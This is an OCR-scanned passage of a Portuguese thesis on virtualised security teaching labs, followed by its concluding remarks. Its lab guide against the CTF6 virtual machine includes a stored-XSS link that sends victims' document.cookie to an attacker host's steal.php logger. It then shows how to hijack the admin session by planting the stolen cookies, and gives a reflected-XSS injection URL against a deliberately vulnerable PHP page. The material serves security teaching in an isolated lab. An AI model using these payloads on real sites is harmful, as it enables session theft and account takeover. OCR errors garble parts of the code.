echo '<bzDesculpe, ocorreu um errol</br</br></brs"
Y

<meta http-equiv="Refresh" content="0; url=http://192.168.6.135">
Figura 42 - Cédigo do arquivo steal.php

Este cddigo escrito em PHP basicamente abre o arquivo log.txt localizado no mesmo
diretério e escreve algumas variaveis, como a data em que o0 usuério teve seu
cookie roubado, o navegador utilizado pelo usuéario e o cookie que foi roubado. Em
seguida o script fecha o arquivo log.txt e emite uma mensagem de erro, apenas para
dar ao usuario a impressdo de que a pagina acessada ndo pode ser visualizada

como sucesso. No final do arquivo, um comando de redirecionamento
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automaticamente leva o usuario a pagina inicial. Lembre-se de alterar o endereco
http://192.168.6.135 para o endereco alocado em seu computador para a maquina
virtual CTF6.

Agora vamos fazer o post do link malicioso para que as vitimas possam clicar.

2. Faca login no site clicando em “Log In” e entrando com os dados de usuario:
labtest e senha: labtest

3. Em seguida localize o post da tarefa anterior com o titulo “Teste de XSS” e
clique em “Edit this event”.

4. Troque o campo “Description” para o seguinte codigo HTML (substitua o
endereco IP para o endere¢o IP de sua maquina virtual Windows): <a
onclick="document.location="http://192.168.6.131/steal.php?cookie="+escape(
document.cookie);" href="#">Clique aqui para mais informacoes </a>

5. Clique em “Add event”.

Pronto! A armadilha esta criada. A partir de agora, qualquer usuario que esteja
autenticado perante o site e clicar no link que acabamos de publicar, ter4 seu cookie
roubado.
O préximo passo é simular a acdo de uma vitima.
6. Repita o procedimento de Log in no site, mas desta vez entre com os dados
de usuério: admin e senha adminpass
7. Clique no link “Clique aqui para mais informacoes” que aparece na péagina
inicial do site e observe o0 que acontece.

8. Clique em “Log Out” na barra superior para encerrar a sessao.

Agora voltemos ao atacante e vamos observar os resultados ap6s o acesso ao link
por uma vitima.

9. Abra o arquivo “log.txt” que vocé criou anteriormente e veja o seu conteudo.
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O conteudo do arquivo armazena agora 0 cookie roubado da vitima. Iremos utilizar

estas informagfOes para nos autenticar perante ao site com as credenciais desta

vitima. Vocé deve visualizar no campo “COOKIE” algo como a figura 43:

COOKIE : PHPSESSID=8jlgm9ir68i85t0tm4129g4803; logged_in=1; user_id=1;

hash=25e4ee4e9229397b6bh17776bfceaf8e7

Figura 43 - Visualizag&o de cookie

Com estas informacdes, nés podemos nos autenticar perante o site, utilizando as

credenciais deste usuario, sem digitar seus dados de usuario e senha. Antes, iremos

limpar os cookies antigos no navegador Mantra.

10.No navegador Mantra, clique no menu principal e em seguida em Options -

Options, como mostra

a figura 44:

B () CTF 6 - wi.. T{'D %S5 Tntro.. X, {2} Download... T-‘] o XJ P

Mew Tab 3 Tools »
“ Start Private Browsing W Bookmarks LT
X Histary . ﬁlnfnrmatinn' E'. Miscellaneous
Downloads | -
Find... Otfrer
Save Page As S > [ options
) Help r
SEI'Id Lll'lk.... Menu Bar
F=1 Print... r v Mavigation Toolbar
o Bevelaper ' Bookmarks Toolbar
refspoof Toolbar
Full Screen v Web Developer Toolbar
Set Up Svnc... v HackBar
# Exit Edit This Menu. ., v Add-on Bar
¥YY IUEE Ly LIIL.
v Tabs on Top

Figura 44 - Caminho para o menu Options do MANTRA

Toolbar Lawouk...

CTF 6 - Widgets Inc. Home,___

11.Clique na aba “Privacy” e em seguida no link “remove individual cookies” que

fica dentro do painel “History”.

12.Clique em “Remove All Cookies” e por seguinte em “Close” e “Ok”.

13.Abra o Firebug, como mostra a figura 31.
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14.Clique na aba “Cookie” na barra principal do Firebug, como mostra a figura

e g Ll % =
s '* b < & HTML (55 DoM Inline Co...
e Cookies - Filker - | Default {Accept cookiesy - | Toals -

Name Yalue Domain Size Path Expires

+ PHPSESSID Gilgmairegiastotme 12904503 192.168.6,135 /6| Session

+ logged_in 1 192.168.6,135 1o sextafeira, 4 de maio de 2012 02:28:10
+ user_id il 192,168.6,135 86 |/ sextafeira, 4 de maio de 2012 02:28:10
+ hash ZGedeedenz20307beb1777Eb ceaf 5e7 192.165.6.135 e sextafeira, 4 de maio de 2012 02:28:10

Figura 45 - Aba Cookies do Firebug

15. Para simularmos a sessao da vitima e obtermos autenticacéo, crie no Firebug
um cookie para cada valor correspondente que aparece no “COOKIE” do
arquivo de log. Para isso, cligue em “Cookies” na barra do Firebug e em
seguida em “Create cookie”. Preencha o campo “Name” com o nome do

atributo e o campo “Value” com o valor do atributo.

Apos preencher os 4 atributos, vocé deve visualizar algo como na figura 45 do passo
14 desta tarefa.
16.Com os cookies preenchidos, clique no menu “Log In” no site e observe o

resultado.

Como resultado esperado, vocé deve ser automaticamente reconhecido e
autenticado com as credenciais da vitima.

Tarefa 4: Teste de um ataque de XSS refletido.

Ao contrario dos ataques de XSS armazenados, os atagues de XSS refletidos nédo
ficam armazenados no banco de dados. Desta forma, o codigo malicioso sera
enviado junto com a requisicdo do usuério e sera refletido de volta para o seu
navegador. O cédigo malicioso normalmente fica no proprio link que o usuario clica,
podendo estar em alguns casos em formulérios também. O cenério requerido para

realizarmos um ataque XSS refletido € quando a pagina resultante de uma
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requisicdo devolve parcialmente ou totalmente a entrada que utilizamos na
requisicdo (Como em uma busca, por exemplo).

Nesta tarefa vamos apenas fazer uma demonstracdo de como um ataque XSS
refletido funciona. Para isso vamos criar no diretério “C:\Arquivos de
programas\Apache Software Foundation\Apache2.2\htdocs” uma péagina HTML
chamada “teste.php” que cria um link com o enderegco passado como parametro no

navegador, como mostra a figura 46:

<html=
<head=>
<title>Teste de XSS refletido<fitle>
</head=
<body=
<a href="<?php echo $_GET[linklocation]; 7>"=>Link</a>
</body>
</html=

Figura 46 - Cédigo do arquivo teste.php

Agora vamos acessar a pagina pelo navegador Mantra passando como parametro a
pagina index padrdo do Apache “index.html”.
1. Acesse a péagina criada do navegador Mantra (troque o endereco IP do link
pelo enderego P de sua maquina virtual Windows):
http://192.168.6.131/test.php?linklocation=index.html

2. Clique no link da pagina e veja o resultado

Agora vamos inserir um simples cddigo JavaScript no pardmetro passado ao
navegador para testar um ataque XSS refletido.

3. Altere o0 enderegco acessado para (substiua o IP do enderego):

http://192.168.6.131/test.php?linklocation=index.html"><script>alert("Teste de

XSS Refletido")</script><a href="index.html
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Note que um alerta surgiu na tela antes de o link ser mostrado, o que significa que
conseguimos executar um JavaScript ao acessar a pagina simplesmente acoplando

0 JavaScript ao endere¢o de acesso.

<a href=" hitp://192.168.6.131/test.php?linklocation=

index.html"><script>alert("Teste de XSS Refletido")</script=<a href="index.html
">Link</a>

Figura 47 - Formacé&o do cédigo da pagina atacada, apds um ataque XSS

Na figura 47, podemos visualizar a formacdo do codigo da pagina. O cédigo em
preto representa o texto inserido pelo navegador, enquanto que o cédigo em
vermelho, o texto digitado pelo usuéario. A insercdo de um fechamento de tag (“>)
logo apds “index.html” indica o fechamento da tag (<a href=*) permitindo a insercao
sequencial de um cddigo JavaScript através da tag (<script>). Ao final, repare que a
abertura e fechamento de tags ajustam-se perfeitamente, produzindo um cdédigo
consistente.

O sucesso dessa requisicdo representa que podemos, por exemplo, inserir um
codigo JavaScript que referencia outro codigo JavaScript externo, o qual ndo precisa
estar contido no link, de forma a n&o deixa-lo muito longo. Parte do link pode ainda

ser codificada, de modo a impedir a leitura e compreenséo pelo usuério.

7 — Consideracdes finais

A partir do levantamento de dados realizados durante este trabalho, foi possivel
perceber a importancia e necessidade do uso de seguranga computacional em prol
das atividades e procedimentos realizados em nosso dia-a-dia. Com o aumento do
uso de aplicativos para web, varejo online e o crescimento da utlizacdo de

tecnologia computacional para fins governamentais e sociais, a seguranga
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computacional torna-se indispensavel para o sucesso desta evolugdo. As falhas de
injecéo tornaram-se grandes vilds deste cenario no qual os servigos online sdo cada
vez mais freqientes. Visto a necessidade da aplicagéo de segurangca computacional,
torna-se notdrio a importancia de estudos, aperfeicoamentos e criagdo de novas
tecnologias nesta area. O uso de ferramentas para analisar e gerenciar a seguranca
computacional de aplicagBes, terminais e até redes inteiras, torna-se indispenséavel
como forma de prevencdo contra vulnerabilidades que podem trazer prejuizos de
diversas proporgdes para estes alvos. Visto que estas ferramentas de analise podem
ser usadas tanto para objetivos nobres quanto para objetivos maliciosos, a
descoberta de falhas e vulnerabilidades por pessoas mal intencionadas pode ser
catalisada com tais ferramentas. Portanto, vulnerabilidades de todos os niveis de
gravidade, merecem atencao.

O uso da virtualizagdo para a realizagcdo dos testes e experimentos mostrou-se
satisfatorio para atingir os objetivos almejados. A virtualizagdo permitiu com que as
cOpias das méaquinas virtuais originais permanecessem inalteradas em um estado
consistente, enquanto que copias utilizadas para a realizacdo dos roteiros
laboratoriais pudessem sofrer modificagbes e até danos. Desta forma, o aluno pode
experimentar na pratica diversas atividades que seriam danosas caso fossem
executadas em um computador de um laboratério da universidade, por exemplo. Um
ponto negativo do uso da virtualizacdo neste trabalho é a quantidade de maquinas
virtuais que o aluno consegue executar simultaneamente em um computador
hospedeiro. A escolha de um sistema operacional como o Windows XP ao invés de
seus sucessores ajudou do ponto de vista que ele necessita de menos memoria
para executar, permitindo assim que mais maquinas virtuais pudessem ser

executadas simultaneamente. Mesmo com baixa utilizacao de recursos por maquina
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virtual, a quantidade maxima de maquinas virtuais que conseguimos executar
simultaneamente ndo é muito grande, de forma que se quiséssemos fazer mais
alteragbes em diferentes maquinas virtuais para obter diferentes resultados em cada
maquina virtual em nossas analises, estariamos limitados a poucas maquinas em
um mesmo computador hospedeiro.

Em relagdo aos roteiros laboratoriais, para serem executados nestes ambientes
virtualizados, a criagdo de um processo passo-a-passo e ilustrativo, mostrou-se
bastante importante do ponto de vista didatico, pois facilita ao aluno o entendimento
do manuseio das diferentes ferramentas utilizadas, permitindo-o focar no problema
que esta sendo resolvido ou no teste que esta sendo realizado.

A metodologia utilizada para construir os roteiros baseou-se em técnicas para testar
diretamente o problema envolvido, fazendo uma reflexdo sobre os motivos que nos
levaram a realizar a tarefa de tal maneira. Desta forma, o aluno compreende o

problema, passando por uma linha de raciocinio logico para atingir os objetivos.

7.1 — Trabalhos futuros

O uso da virtualizagdo no ensino de seguranca tem crescido e ganhado destaque
entre as diferentes metodologias de ensino de segurancga. Este cenério indica que o
assunto ainda ganha forca no campo de pesquisa e que varios trabalhos ainda
podem ser realizados neste campo.

Como forma de continuar este trabalho, outros roteiros de problemas e ou
ferramentas distintas podem ser desenvolvidos utilizando como base o mesmo
ambiente virtual. A pesquisa de outros problemas de seguranca e de novas
ferramentas de andlise e gestdo de seguranca podem ser incorporadas a este

trabalho de forma iterativa.
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H& ainda a possibilidade do desenvolvimento de novas metodologias utilizando a
virtualizagdo como peca fundamental para o ensino de seguranga, cCoOmo mostram

alguns trabalhos relacionados na segéo 5.3.
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